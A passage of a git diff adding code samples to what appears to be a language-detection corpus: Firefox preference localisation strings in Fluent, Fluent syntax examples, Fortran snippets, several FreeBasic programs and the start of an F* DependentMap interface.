+tracking-mode-label = Use Tracking Protection to block known trackers
+
+tracking-mode-always =
+    .label = Always
+    .accesskey = y
+tracking-mode-private =
+    .label = Only in private windows
+    .accesskey = l
+tracking-mode-never =
+    .label = Never
+    .accesskey = N
+
+# This string is displayed if privacy.trackingprotection.ui.enabled is set to false.
+# This currently happens on the release and beta channel.
+tracking-pbm-label = Use Tracking Protection in Private Browsing to block known trackers
+    .accesskey = v
+
+tracking-exceptions =
+    .label = Exceptions…
+    .accesskey = x
+
+tracking-change-block-list =
+    .label = Change Block List…
+    .accesskey = C
+
+## Privacy Section - Permissions
+
+permissions-header = Permissions
+
+permissions-location = Location
+permissions-location-settings =
+    .label = Settings…
+    .accesskey = t
+
+permissions-camera = Camera
+permissions-camera-settings =
+    .label = Settings…
+    .accesskey = t
+
+permissions-microphone = Microphone
+permissions-microphone-settings =
+    .label = Settings…
+    .accesskey = t
+
+permissions-notification = Notifications
+permissions-notification-settings =
+    .label = Settings…
+    .accesskey = t
+permissions-notification-link = Learn more
+
+permissions-notification-pause =
+    .label = Pause notifications until { -brand-short-name } restarts
+    .accesskey = n
+
+permissions-block-popups =
+    .label = Block pop-up windows
+    .accesskey = B
+
+permissions-block-popups-exceptions =
+    .label = Exceptions…
+    .accesskey = E
+
+permissions-addon-install-warning =
+    .label = Warn you when websites try to install add-ons
+    .accesskey = W
+
+permissions-addon-exceptions =
+    .label = Exceptions…
+    .accesskey = E
+
+permissions-a11y-privacy-checkbox =
+    .label = Prevent accessibility services from accessing your browser
+    .accesskey = a
+
+permissions-a11y-privacy-link = Learn more
+
+## Privacy Section - Data Collection
+
+collection-header = { -brand-short-name } Data Collection and Use
+
+collection-description = We strive to provide you with choices and collect only what we need to provide and improve { -brand-short-name } for everyone. We always ask permission before receiving personal information.
+collection-privacy-notice = Privacy Notice
+
+collection-health-report =
+    .label = Allow { -brand-short-name } to send technical and interaction data to { -vendor-short-name }
+    .accesskey = r
+collection-health-report-link = Learn more
+
+# This message is displayed above disabled data sharing options in developer builds
+# or builds with no Telemetry support available.
+collection-health-report-disabled = Data reporting is disabled for this build configuration
+
+collection-browser-errors =
+    .label = Allow { -brand-short-name } to send browser error reports (including error messages) to { -vendor-short-name }
+    .accesskey = b
+collection-browser-errors-link = Learn more
+
+collection-backlogged-crash-reports =
+    .label = Allow { -brand-short-name } to send backlogged crash reports on your behalf
+    .accesskey = c
+collection-backlogged-crash-reports-link = Learn more
+
+## Privacy Section - Security
+##
+## It is important that wording follows the guidelines outlined on this page:
+## https://developers.google.com/safe-browsing/developers_guide_v2#AcceptableUsage
+
+security-header = Security
+
+security-browsing-protection = Deceptive Content and Dangerous Software Protection
+
+security-enable-safe-browsing =
+    .label = Block dangerous and deceptive content
+    .accesskey = B
+security-enable-safe-browsing-link = Learn more
+
+security-block-downloads =
+    .label = Block dangerous downloads
+    .accesskey = d
+
+security-block-uncommon-software =
+    .label = Warn you about unwanted and uncommon software
+    .accesskey = c
+
+## Privacy Section - Certificates
+
+certs-header = Certificates
+
+certs-personal-label = When a server requests your personal certificate
+
+certs-select-auto-option =
+    .label = Select one automatically
+    .accesskey = S
+
+certs-select-ask-option =
+    .label = Ask you every time
+    .accesskey = A
+
+certs-enable-ocsp =
+    .label = Query OCSP responder servers to confirm the current validity of certificates
+    .accesskey = Q
+
+certs-view =
+    .label = View Certificates…
+    .accesskey = C
+
+certs-devices =
+    .label = Security Devices…
+    .accesskey = D
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+select-bookmark-window =
+    .title = Set Home Page
+    .style = width: 32em;
+
+select-bookmark-desc = Choose a Bookmark to be your Home Page. If you choose a folder, the Bookmarks in that folder will be opened in Tabs.
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+
+## Settings
+
+site-data-settings-window =
+    .title = Manage Cookies and Site Data
+
+site-data-search-textbox =
+    .placeholder = Search websites
+    .accesskey = S
+
+site-data-column-host =
+    .label = Site
+site-data-column-cookies =
+    .label = Cookies
+site-data-column-storage =
+    .label = Storage
+site-data-column-last-used =
+    .label = Last Used
+
+site-data-remove-selected =
+    .label = Remove Selected
+    .accesskey = R
+
+site-data-button-cancel =
+    .label = Cancel
+    .accesskey = C
+
+site-data-button-save =
+    .label = Save Changes
+    .accesskey = a
+
+## Removing
+
+site-data-removing-window =
+    .title = { site-data-removing-header }
+
+site-data-removing-header = Removing Cookies and Site Data
+
+site-data-removing-desc = Removing cookies and site data may log you out of websites. Are you sure you want to make the changes?
+
+site-data-removing-table = Cookies and site data for the following websites will be removed
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+translation-window =
+    .title = Exceptions - Translation
+    .style = width: 36em
+
+translation-close-key =
+    .key = w
+
+translation-languages-disabled-desc = Translation will not be offered for the following languages
+
+translation-languages-column =
+    .label = Languages
+
+translation-languages-button-remove =
+    .label = Remove Language
+    .accesskey = R
+
+translation-languages-button-remove-all =
+    .label = Remove All Languages
+    .accesskey = e
+
+translation-sites-disabled-desc = Translation will not be offered for the following sites
+
+translation-sites-column =
+    .label = Websites
+
+translation-sites-button-remove =
+    .label = Remove Site
+    .accesskey = S
+
+translation-sites-button-remove-all =
+    .label = Remove All Sites
+    .accesskey = i
+
+translation-button-close =
+    .label = Close
+    .accesskey = C
+
diff --git a/samples/Fluent/select_indent.ftl b/samples/Fluent/select_indent.ftl
new file mode 100644
index 0000000000..375aaa6a5a
--- /dev/null
+++ b/samples/Fluent/select_indent.ftl
@@ -0,0 +1,96 @@
+select-1tbs-inline = { $selector ->
+   *[key] Value
+}
+
+select-1tbs-newline = {
+$selector ->
+   *[key] Value
+}
+
+select-1tbs-indent = {
+    $selector ->
+   *[key] Value
+}
+
+select-allman-inline =
+{ $selector ->
+   *[key] Value
+    [other] Other
+}
+
+select-allman-newline =
+{
+$selector ->
+   *[key] Value
+}
+
+select-allman-indent =
+{
+    $selector ->
+   *[key] Value
+}
+
+select-gnu-inline =
+   { $selector ->
+      *[key] Value
+   }
+
+select-gnu-newline =
+   {
+$selector ->
+      *[key] Value
+   }
+
+select-gnu-indent =
+   {
+       $selector ->
+      *[key] Value
+   }
+
+select-no-indent =
+{
+$selector ->
+*[key] Value
+[other] Other
+}
+
+select-no-indent-multiline =
+{
+$selector ->
+*[key] Value
+       Continued
+[other]
+    Other
+    Multiline
+}
+
+# # ERROR (Multiline text must be indented)
+# select-no-indent-multiline = { $selector ->
+#    *[key] Value
+# Continued without indent.
+# }
+
+select-flat =
+{
+$selector
+->
+*[
+key
+] Value
+[
+other
+] Other
+}
+
+# Each line ends with 5 spaces.
+select-flat-with-trailing-spaces =
+{
+$selector
+->
+*[
+key
+] Value
+[
+other
+] Other
+}
diff --git a/samples/Fluent/simple.ftl b/samples/Fluent/simple.ftl
new file mode 100644
index 0000000000..2e7ac8f1b3
--- /dev/null
+++ b/samples/Fluent/simple.ftl
@@ -0,0 +1,13 @@
+# Simple things are simple.
+hello-user = Hello, {$userName}!
+
+# Complex things are possible.
+shared-photos =
+    {$userName} {$photoCount ->
+        [one] added a new photo
+       *[other] added {$photoCount} new photos
+    } to {$userGender ->
+        [male] his stream
+        [female] her stream
+       *[other] their stream
+    }.
diff --git a/samples/Fortran/bug-185631.f b/samples/Fortran/bug-185631.f
new file mode 100644
index 0000000000..abdf87b049
--- /dev/null
+++ b/samples/Fortran/bug-185631.f
@@ -0,0 +1,6 @@
+! Codes/HYCOM/hycom/ATLb2.00/src_2.0.01_22_one/
+      real onemu, twomu
+      data onemu/0.0098/
+      data twomu/1./
+      data threemu/0.e9/
+      end
diff --git a/samples/FORTRAN/sample1.f b/samples/Fortran/sample1.f
similarity index 100%
rename from samples/FORTRAN/sample1.f
rename to samples/Fortran/sample1.f
diff --git a/samples/FORTRAN/sample1.for b/samples/Fortran/sample1.for
similarity index 100%
rename from samples/FORTRAN/sample1.for
rename to samples/Fortran/sample1.for
diff --git a/samples/FORTRAN/sample2.f b/samples/Fortran/sample2.f
similarity index 100%
rename from samples/FORTRAN/sample2.f
rename to samples/Fortran/sample2.f
diff --git a/samples/FORTRAN/sample3.F b/samples/Fortran/sample3.F
similarity index 100%
rename from samples/FORTRAN/sample3.F
rename to samples/Fortran/sample3.F
diff --git a/samples/FreeBasic/WinGUI template.bi b/samples/FreeBasic/WinGUI template.bi
new file mode 100644
index 0000000000..299aa0b7e1
--- /dev/null
+++ b/samples/FreeBasic/WinGUI template.bi	
@@ -0,0 +1,99 @@
+#include "windows.bi"
+#include "win\commctrl.bi"   ' for CreateStatusWindow
+Dim Shared As Handle hEdit, hList, hStatus
+Function WndProc(hWnd As HWND, msg As  UINT, wParam As WPARAM, lParam As LPARAM) As LRESULT
+   Dim As RECT rc
+   Dim As PAINTSTRUCT ps
+   Dim As HANDLE PtDC
+   Dim As HMENU hMenu, hPopup, hPop2
+   Select Case msg
+   Case WM_CREATE
+      hMenu=CreateMenu()               ' create the main menu
+      hPopup=CreatePopupMenu()               ' create a sub-menu
+      AppendMenu(hMenu, MF_POPUP, Cast(UINT_PTR, hPopup), "&File")      ' add it to the main menu
+      AppendMenu(hPopup, MF_STRING, 101, "&Open")       ' one more main item
+      hPop2=CreatePopupMenu()               ' create a sub-menu
+      AppendMenu(hPop2, MF_STRING, 121, "&sources")      ' fill it
+      AppendMenu(hPop2, MF_STRING, 122, "&includes")      ' with various
+      AppendMenu(hPop2, MF_STRING, 123, "&DLLs")      ' options
+      AppendMenu(hPopup, MF_POPUP, Cast(UINT_PTR, hPop2), "&Dir")      ' and add it to the main menu as "Dir"
+      AppendMenu(hPopup, MF_STRING, 102, "&Save")       ' one more main item
+      AppendMenu(hPopup, MF_STRING, 103, "E&xit")       ' one more main item
+      SetMenu(hWnd, hMenu)               ' attach menu to main window
+      hStatus=CreateStatusWindow(WS_CHILD Or WS_VISIBLE Or WS_CLIPSIBLINGS Or SBS_SIZEGRIP, 0, hWnd, 99)
+      SendMessage(hStatus, WM_SETTEXT, 0, Cast(lParam, @"This is the status bar"))
+      hEdit=CreateWindowEx(WS_EX_CLIENTEDGE, "edit", "Hello, I am an edit control", WS_CHILD Or WS_VISIBLE Or ES_MULTILINE, 0, 0, 100, 100, hWnd, hMenu, 0, 0)
+      hList=CreateWindowEx(WS_EX_CLIENTEDGE, "listbox", 0, WS_CHILD Or WS_VISIBLE, 0, 0, 100, 100, hWnd, hMenu, 0, 0)
+      SendMessage(hList, LB_ADDSTRING, 0, Cast(lParam, @"line 1"))
+      If Open(Command(1) For Binary Access Read As #1) = 0 Then
+         Dim As UByte file_char ( LOF(1))
+         Get #1, , file_char()
+         Close #1
+         SendMessage(hEdit, WM_SETTEXT, 0, Cast(lParam, @file_char(0)))
+      endif
+   Case WM_COMMAND
+      Select Case wParam
+      Case 101: MessageBox(hWnd, "Open not implemented", 0, MB_OK)
+      Case 102: MessageBox(hWnd, "Save not implemented", 0, MB_OK)
+      Case 121: MessageBox(hWnd, "No *.bas files found", 0, MB_OK)
+      Case 122: MessageBox(hWnd, "No *.inc files found", 0, MB_OK)
+      Case 123: MessageBox(hWnd, "No *.dll files found", 0, MB_OK)
+      Case 103: SendMessage(hWnd, WM_CLOSE, 0, 0)
+      End Select
+   Case WM_PAINT
+      PtDC=BeginPaint(hWnd, @ps)
+      SetBkMode(PtDC, TRANSPARENT)
+      TextOut(PtDC, 4, 4, "Greetings from the WM_PAINT handler", 35)
+      EndPaint(hWnd, @ps)
+   Case WM_KEYDOWN
+      if wParam=VK_ESCAPE then SendMessage(hWnd, WM_CLOSE, 0, 0)
+   Case WM_SIZE
+      GetClientRect(hWnd, @rc)
+      MoveWindow(hEdit, 3, 28, rc.right-66, rc.bottom-50, 0)
+      MoveWindow(hList, rc.right-60, 28, rc.right-6, rc.bottom-50, 0)
+   Case WM_DESTROY
+      PostQuitMessage(0)
+   End Select
+   return DefWindowProc(hwnd, msg, wParam, lParam)
+End Function
+type pCall as function (xy as any ptr) as long
+type DLLVERSIONINFO
+   cbSize as long
+   dwMajorVersion as long
+   dwMinorVersion as long
+   dwBuildNumber as long
+   dwPlatformID as long
+end type
+Function WinMain(hInstance As HINSTANCE, hPrevInstance As HINSTANCE, lpCmdLine As LPSTR, nShowCmd As Integer) As Integer
+   Dim wc As WNDCLASSEX, msg As MSG, hDll As HANDLE, hIconLib As HANDLE, pGetVersion as pCall, dvi As DLLVERSIONINFO
+   dvi.cbSize=sizeof(DLLVERSIONINFO)
+   hIconLib=LoadLibrary("shell32")
+   wc.hIcon = LoadIcon(hIconLib, Cast(LPCTSTR, 239))   ' get the butterfly icon
+   FreeLibrary(hIconLib)
+   hDll=LoadLibrary("ComCtl32")
+   pGetVersion=Cast(Any Ptr, GetProcAddress(hDll, "DllGetVersion"))
+   pGetVersion(@dvi)
+   If @dvi.dwMajorVersion Then Print "Using common controls version ";Str(dvi.dwMajorVersion);".";Str(dvi.dwMinorVersion)
+   FreeLibrary(hDll)
+   wc.cbSize = SizeOf(WNDCLASSEX)
+   wc.hbrBackground = GetStockObject(COLOR_BTNFACE+1)
+   wc.hCursor = LoadCursor(0, IDC_ARROW)
+   wc.hIconSm = wc.hIcon
+   wc.hInstance = hInstance
+   wc.lpfnWndProc = @WndProc
+   wc.lpszClassName = @"FbGui"
+   wc.style = CS_HREDRAW Or CS_VREDRAW
+   RegisterClassEx(@wc)
+   If CreateWindowEx(0, wc.lpszClassName, "Hello World",_
+      WS_OVERLAPPEDWINDOW Or WS_VISIBLE, (GetSystemMetrics(SM_CXSCREEN) / 2) - 150,_
+      (GetSystemMetrics(SM_CYSCREEN) / 2) - 150, 300, 300, 0, 0, hInstance, 0)=0 Then
+      MessageBox(0, "Creating hMain failed miserably", 0, MB_OK)
+      Return 0
+   End If
+   While GetMessage(@msg, 0, 0, 0)
+      TranslateMessage(@msg)
+      DispatchMessage(@msg)
+   Wend
+   Return msg.wParam
+End Function
+WinMain(GetModuleHandle(NULL), NULL, Command(), SW_NORMAL)
diff --git a/samples/FreeBasic/array_clearobj.bas b/samples/FreeBasic/array_clearobj.bas
new file mode 100644
index 0000000000..af923bb153
--- /dev/null
+++ b/samples/FreeBasic/array_clearobj.bas
@@ -0,0 +1,56 @@
+/' ERASE for static arrays of objects: re-init the elements '/
+
+#include "fb.bi"
+
+extern "C"
+sub fb_hArrayCtorObj( array as FBARRAY ptr, ctor as FB_DEFCTOR, base_idx as size_t )
+	dim as size_t i, elements, element_len
+	dim as FBARRAYDIM ptr _dim
+	dim as ubyte ptr this_
+
+	if ( array->_ptr = NULL ) then
+		exit sub
+	end if
+	
+	_dim = @array->dimTB(0)
+	elements = _dim->elements - base_idx
+	_dim += 1
+
+	i = 1
+	while( i < array->dimensions )
+		elements *= _dim->elements
+		i += 1
+		_dim += 1
+	wend
+
+	/' call ctors '/
+	element_len = array->element_len
+	this_ = array->_ptr
+
+	while( elements > 0 )
+		/' !!!FIXME!!! check exceptions (only if rewritten in C++) '/
+		ctor( this_ )
+		this_ += element_len
+		elements -= 1
+	wend
+end sub
+
+function fb_ArrayClearObj FBCALL ( array as FBARRAY ptr, ctor as FB_DEFCTOR, dtor as FB_DEFCTOR ) as long
+	/' destruct all objects in the array
+	   (dtor can be NULL if there only is a ctor) '/
+	if ( dtor <> 0 ) then
+		fb_ArrayDestructObj( array, dtor )
+	end if
+
+	/' re-initialize (ctor can be NULL if there only is a dtor) '/
+	if( ctor <> 0) then
+		/' if a ctor exists, it should handle the whole initialization '/
+		fb_hArrayCtorObj( array, ctor, 0 )
+	else
+		/' otherwise, just clear '/
+		fb_ArrayClear( array )
+	end if
+
+	return fb_ErrorSetNum( FB_RTERROR_OK )
+end function
+end extern
\ No newline at end of file
diff --git a/samples/FreeBasic/ir.bas b/samples/FreeBasic/ir.bas
new file mode 100644
index 0000000000..d084f74332
--- /dev/null
+++ b/samples/FreeBasic/ir.bas
@@ -0,0 +1,326 @@
+'' intermediate representation - core module
+''
+'' chng: dec/2006 written [v1ctor]
+
+#include once "fb.bi"
+#include once "fbint.bi"
+#include once "ir.bi"
+#include once "emit.bi"
+#include once "ir-private.bi"
+
+dim shared ir as IRCTX
+
+sub irInit( )
+	select case( env.clopt.backend )
+	case FB_BACKEND_GCC
+		ir.vtbl = irhlc_vtbl
+	case FB_BACKEND_LLVM
+		ir.vtbl = irllvm_vtbl
+	case FB_BACKEND_GAS64
+		ir.vtbl = irgas64_vtbl
+	case else
+		assert( env.clopt.backend = FB_BACKEND_GAS )
+		ir.vtbl = irtac_vtbl
+	end select
+
+	'' reset ir.options becasue irSetOption() will merge (OR) values
+	ir.options = 0
+
+	ir.vtbl.init( )
+end sub
+
+sub irEnd( )
+	ir.vtbl.end( )
+
+	ir.options = 0
+
+	#if __FB_DEBUG__
+		'' debugging - reset the vtable - shouldn't matter in production
+		'' because ir.vtbl calls should never be called outside irInit()/irEnd()
+		dim null_vtbl as IR_VTBL
+		ir.vtbl = null_vtbl
+	#endif
+
+end sub
+
+dim shared irhl as IRHLCONTEXT
+
+sub irhlInit( )
+	flistInit( @irhl.vregs, IR_INITVREGNODES, sizeof( IRVREG ) )
+	listInit( @irhl.callargs, 32, sizeof( IRCALLARG ), LIST_FLAGS_NOCLEAR )
+end sub
+
+sub irhlEnd( )
+	listEnd( @irhl.callargs )
+	flistEnd( @irhl.vregs )
+end sub
+
+sub irhlEmitProcBegin( )
+	irhl.regcount = 0
+end sub
+
+sub irhlEmitProcEnd( )
+	flistReset( @irhl.vregs )
+end sub
+
+sub irhlEmitPushArg _
+	( _
+		byval param as FBSYMBOL ptr, _
+		byval vr as IRVREG ptr, _
+		byval udtlen as longint, _
+		byval level as integer, _
+		byval lreg as IRVREG ptr _ _
+	)
+
+	'' Remember for later, so during _emitCall[Ptr] we can emit the whole
+	'' call in one go
+	dim as IRCALLARG ptr arg = listNewNode( @irhl.callargs )
+	arg->param = param
+	arg->vr = vr
+	arg->level = level
+
+	'' ignore udtlen, it's only used by ir-tac.bas:_emitPushArg()
+	'' ignore lreg, it's only used by ir-tac.bas:_emitPushArg()
+
+end sub
+
+function irhlNewVreg _
+	( _
+		byval dtype as integer, _
+		byval subtype as FBSYMBOL ptr, _
+		byval vtype as integer _
+	) as IRVREG ptr
+
+	dim as IRVREG ptr v = any
+
+	v = flistNewItem( @irhl.vregs )
+
+	v->typ = vtype
+	v->dtype = dtype
+	v->subtype = subtype
+	if( vtype = IR_VREGTYPE_REG ) then
+		v->reg = irhl.regcount
+		irhl.regcount += 1
+	else
+		v->reg = INVALID
+	end if
+	v->regFamily = 0
+	v->vector = 0
+	v->sym = NULL
+	v->ofs = 0
+	v->mult = 0
+	v->vidx = NULL
+	v->vaux = NULL
+
+	function = v
+end function
+
+function irhlAllocVreg _
+	( _
+		byval dtype as integer, _
+		byval subtype as FBSYMBOL ptr _
+	) as IRVREG ptr
+	function = irhlNewVreg( dtype, subtype, IR_VREGTYPE_REG )
+end function
+
+function irhlAllocVrImm _
+	( _
+		byval dtype as integer, _
+		byval subtype as FBSYMBOL ptr, _
+		byval value as longint _
+	) as IRVREG ptr
+
+	dim as IRVREG ptr vr = any
+
+	vr = irhlNewVreg( dtype, subtype, IR_VREGTYPE_IMM )
+	vr->value.i = value
+
+	function = vr
+end function
+
+function irhlAllocVrImmF _
+	( _
+		byval dtype as integer, _
+		byval subtype as FBSYMBOL ptr, _
+		byval value as double _
+	) as IRVREG ptr
+
+	dim as IRVREG ptr vr = any
+
+	vr = irhlNewVreg( dtype, subtype, IR_VREGTYPE_IMM )
+	vr->value.f = value
+
+	function = vr
+end function
+
+function irhlAllocVrVar _
+	( _
+		byval dtype as integer, _
+		byval subtype as FBSYMBOL ptr, _
+		byval symbol as FBSYMBOL ptr, _
+		byval ofs as longint _
+	) as IRVREG ptr
+
+	dim as IRVREG ptr vr = irhlNewVreg( dtype, subtype, IR_VREGTYPE_VAR )
+
+	vr->sym = symbol
+	vr->ofs = ofs
+
+	function = vr
+end function
+
+function irhlAllocVrIdx _
+	( _
+		byval dtype as integer, _
+		byval subtype as FBSYMBOL ptr, _
+		byval symbol as FBSYMBOL ptr, _
+		byval ofs as longint, _
+		byval mult as integer, _
+		byval vidx as IRVREG ptr _
+	) as IRVREG ptr
+
+	dim as IRVREG ptr vr = irhlNewVreg( dtype, subtype, IR_VREGTYPE_IDX )
+
+	vr->sym = symbol
+	vr->ofs = ofs
+	vr->vidx = vidx
+
+	function = vr
+end function
+
+function irhlAllocVrPtr _
+	( _
+		byval dtype as integer, _
+		byval subtype as FBSYMBOL ptr, _
+		byval ofs as longint, _
+		byval vidx as IRVREG ptr _
+	) as IRVREG ptr
+
+	dim as IRVREG ptr vr = irhlNewVreg( dtype, subtype, IR_VREGTYPE_PTR )
+
+	vr->ofs = ofs
+	vr->vidx = vidx
+
+	function = vr
+end function
+
+function irhlAllocVrOfs _
+	( _
+		byval dtype as integer, _
+		byval subtype as FBSYMBOL ptr, _
+		byval symbol as FBSYMBOL ptr, _
+		byval ofs as longint _
+	) as IRVREG ptr
+
+	dim as IRVREG ptr vr = irhlNewVreg( dtype, subtype, IR_VREGTYPE_OFS )
+
+	vr->sym = symbol
+	vr->ofs = ofs
+
+	function = vr
+end function
+
+'' DATA descriptor arrays must be emitted based on the order indicated by the
+'' FBSYMBOL.var_.data.prev linked list, not in the symtb order.
+sub irForEachDataStmt( byval callback as sub( byval as FBSYMBOL ptr ) )
+	var sym = astGetLastDataStmtSymbol( )
+	while( sym )
+		callback( sym )
+		sym = sym->var_.data.prev
+	wend
+end sub
+
+sub irhlFlushStaticInitializer( byval sym as FBSYMBOL ptr )
+	astLoadStaticInitializer( symbGetTypeIniTree( sym ), sym )
+	symbSetTypeIniTree( sym, NULL )
+end sub
+
+#if __FB_DEBUG__
+function vregDumpToStr( byval v as IRVREG ptr ) as string
+	dim as string s
+	dim as string regname
+
+	if( v = NULL ) then
+		return "<NULL>"
+	end if
+
+	static as zstring ptr vregtypes(IR_VREGTYPE_IMM to IR_VREGTYPE_OFS) = _
+	{ _
+		@"imm", @"var", @"idx", @"ptr", @"reg", @"ofs" _
+	}
+
+	#if 0
+		s += "[" + hex( v, 8 ) + "] "
+	#endif
+
+	s += *vregtypes(v->typ)
+
+	select case( v->typ )
+	case IR_VREGTYPE_IMM
+		s += " "
+		if( typeGetClass( v->dtype ) = FB_DATACLASS_FPOINT ) then
+			s += str( v->value.f )
+		else
+			s += str( v->value.i )
+		end if
+
+	case IR_VREGTYPE_REG
+		if( env.clopt.backend = FB_BACKEND_GAS ) then
+			regname = emitDumpRegName( v->dtype, v->reg )
+			if( len( regname ) > 0 ) then
+				s += " " + ucase( regname )
+			else
+				s += " " + str( v->reg )
+			end if
+		else
+			''s += " reg="
+			s += " " + str( v->reg )
+		end if
+	end select
+
+	if( v->sym ) then
+		s += " " + *symbGetName( v->sym )
+	end if
+
+	if( v->typ <> IR_VREGTYPE_REG ) then
+		if( v->ofs ) then
+			if( (env.clopt.backend = FB_BACKEND_GAS) and (v->sym <> NULL) ) then
+				s += " [" + *symbGetMangledName( v->sym )
+				if( v->ofs >= 0 ) then
+					s += "+"
+				end if
+				s += str( v->ofs )
+				s += "]"
+			else
+				s += " ofs=" + str( v->ofs )
+			end if
+		end if
+		if( v->mult ) then
+			s += " mult=" + str( v->mult )
+		end if
+	end if
+
+	s += " " + typeDumpToStr( v->dtype, v->subtype )
+
+	if( v->typ <> IR_VREGTYPE_REG ) then
+		if( v->vidx ) then
+			s += " vidx=<" + vregDumpToStr( v->vidx ) + ">"
+		end if
+	end if
+
+	'' If it's a longint vreg, show vaux
+	'' ASM backend: uses vaux, so always show it
+	'' C/LLVM backends: don't use vaux, so only show it if it's set
+	if( ISLONGINT( v->dtype ) and _
+	    ((env.clopt.backend = FB_BACKEND_GAS) or (v->vaux <> NULL)) ) then
+		s += " vaux=<" + vregDumpToStr( v->vaux ) + ">"
+	end if
+
+	function = s
+end function
+
+sub vregDump( byval v as IRVREG ptr )
+	print vregDumpToStr( v )
+end sub
+
+#endif
diff --git a/samples/FreeBasic/makescript.bas b/samples/FreeBasic/makescript.bas
new file mode 100644
index 0000000000..d016ce6672
--- /dev/null
+++ b/samples/FreeBasic/makescript.bas
@@ -0,0 +1,174 @@
+#define NULL 0
+#define FALSE 0
+#define TRUE (-1)
+#define STRINGIFY(s) #s
+
+private sub fatalCantOpenFile(byref file as string)
+    print "Error: Could not open file: '" + file + "'"
+    end 1
+end sub
+
+private function strReplace _
+    ( _
+        byref text as string, _
+        byref a as string, _
+        byref b as string _
+    ) as string
+
+    static as string result
+    static as string keep
+
+    result = text
+
+    dim as integer alen = len(a)
+    dim as integer blen = len(b)
+
+    dim as integer p = 0
+    do
+        p = instr(p + 1, result, a)
+        if (p = 0) then
+            exit do
+        end if
+
+        keep = mid(result, p + alen)
+        result = left(result, p - 1)
+        result += b
+        result += keep
+        p += blen - 1
+    loop
+
+    return result
+end function
+
+'' Searches backwards for the last '/' or '\'.
+private function findFileName(byref path as string) as integer
+    for i as integer = (len(path)-1) to 0 step -1
+        dim as integer ch = path[i]
+        if ((ch = asc("/")) or (ch = asc("\"))) then
+            return i + 1
+        end if
+    next
+    return 0
+end function
+
+private function pathStripFile(byref path as string) as string
+    return left(path, findFileName(path))
+end function
+
+private function pathStripComponent(byref path as string) as string
+    dim as string s = path
+
+    '' Strip path div at the end
+    dim as integer length = len(s)
+    if (length > 0) then
+        dim as integer ch = s[length-1]
+        if ((ch = asc("/")) or (ch = asc("\"))) then
+            s = left(s, len(s) - 1)
+        end if
+    end if
+
+    '' Strip the last component
+    return pathStripFile(s)
+end function
+
+private sub emitPath(byval o as integer, byref cmd as string, byref path as string)
+    print #o, "    " + cmd + " ""$INSTDIR\" + path + """"
+end sub
+
+private sub emitRmDirs(byval o as integer, byref prevpath as string, byref path as string)
+    '' RMDir foo\bar\baz
+    '' RMDir foo\bar
+    '' RMDir foo
+    while ((len(prevpath) > 0) and (prevpath <> left(path, len(prevpath))))
+        emitPath(o, "RMDir ", prevpath)
+        prevpath = pathStripComponent(prevpath)
+    wend
+end sub
+
+private sub emitInstallerFiles _
+    ( _
+        byref manifest as string, _
+        byval o as integer, _
+        byval install as integer _
+    )
+
+    dim as integer f = freefile()
+    if (open(manifest, for input, as #f)) then
+        fatalCantOpenFile(manifest)
+    end if
+
+    dim as string filename = ""
+    dim as string path = ""
+    dim as string prevpath = ""
+
+    while (eof(f) = FALSE)
+        line input #f, filename
+
+        if (len(filename)) then
+            '' Use backslashes for NSIS...
+            filename = strReplace(filename, "/", "\")
+
+            path = pathStripFile(filename)
+            if (path <> prevpath) then
+                if (install) then
+                    emitPath(o, "SetOutPath", path)
+                else
+                    emitRmDirs(o, prevpath, path)
+                end if
+                prevpath = path
+            end if
+
+            if (install) then
+                filename = "                   File """ + filename + """"
+            else
+                filename = "    Delete ""$INSTDIR\" + filename + """"
+            end if
+
+            print #o, filename
+        end if
+    wend
+
+    if (install = FALSE) then
+        emitRmDirs(o, prevpath, path)
+    end if
+
+    close #f
+end sub
+
+if (__FB_ARGC__ <> 4) then
+    print "Usage: makescript manifest.lst template.nsi outputscript.nsi"
+    end 1
+end if
+
+dim as string manifest  = *__FB_ARGV__[1]
+dim as string inscript  = *__FB_ARGV__[2]
+dim as string outscript = *__FB_ARGV__[3]
+
+dim as integer i = freefile()
+if (open(inscript, for input, as #i)) then
+    fatalCantOpenFile(inscript)
+end if
+
+dim as integer o = freefile()
+if (open(outscript, for output, as #o)) then
+    fatalCantOpenFile(outscript)
+end if
+
+dim as string ln = ""
+
+while (eof(i) = FALSE)
+    line input #i, ln
+
+    select case (trim(ln))
+    case ";;;INSTALL;;;"
+        emitInstallerFiles(manifest, o, TRUE)
+
+    case ";;;UNINSTALL;;;"
+        emitInstallerFiles(manifest, o, FALSE)
+
+    case else
+        ln = strReplace(ln, ";;;FBVERSION;;;", STRINGIFY(FBVERSION))
+        print #o, ln
+
+    end select
+wend
diff --git a/samples/Fstar/FStar.DependentMap.fsti b/samples/Fstar/FStar.DependentMap.fsti
new file mode 100644
index 0000000000..817a733c0d
--- /dev/null
+++ b/samples/Fstar/FStar.DependentMap.fsti
@@ -0,0 +1,242 @@
+(*
+   Copyright 2008-2018 Microsoft Research
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+*)
+
+module FStar.DependentMap
+
+/// This module provides an abstract type of maps whose co-domain
+/// depends on the value of each key. i.e., it is an encapsulation
+/// of [x:key -> value x], where [key] supports decidable equality.
+///
+/// The main constructors of the type are:
+///   * [create]: To create the whole map from a function
+///   * [upd]: To update a map at a point
+///   * [restrict]: To restrict the domain of a map
+///   * [concat]: To concatenate maps by taking the union of their key spaces
+///   * [rename]: To rename the keys of a map
+///   * [map]: To map a function over the values of a map
+///
+/// The main eliminators are:
+///   * [sel]: To query the map for its value at a point
+///
+/// The interface is specified in a style that describes the action of
+/// each eliminator over each of the constructors
+///
+/// The map also supports an extensional equality principle.
+
+(** Abstract type of dependent maps, with universe polymorphic values
+    and keys in universe 0 with decidable equality *)
+val t (key: eqtype) (value: (key -> Type u#v)) : Type u#v
+
+(** Creating a new map from a function *)
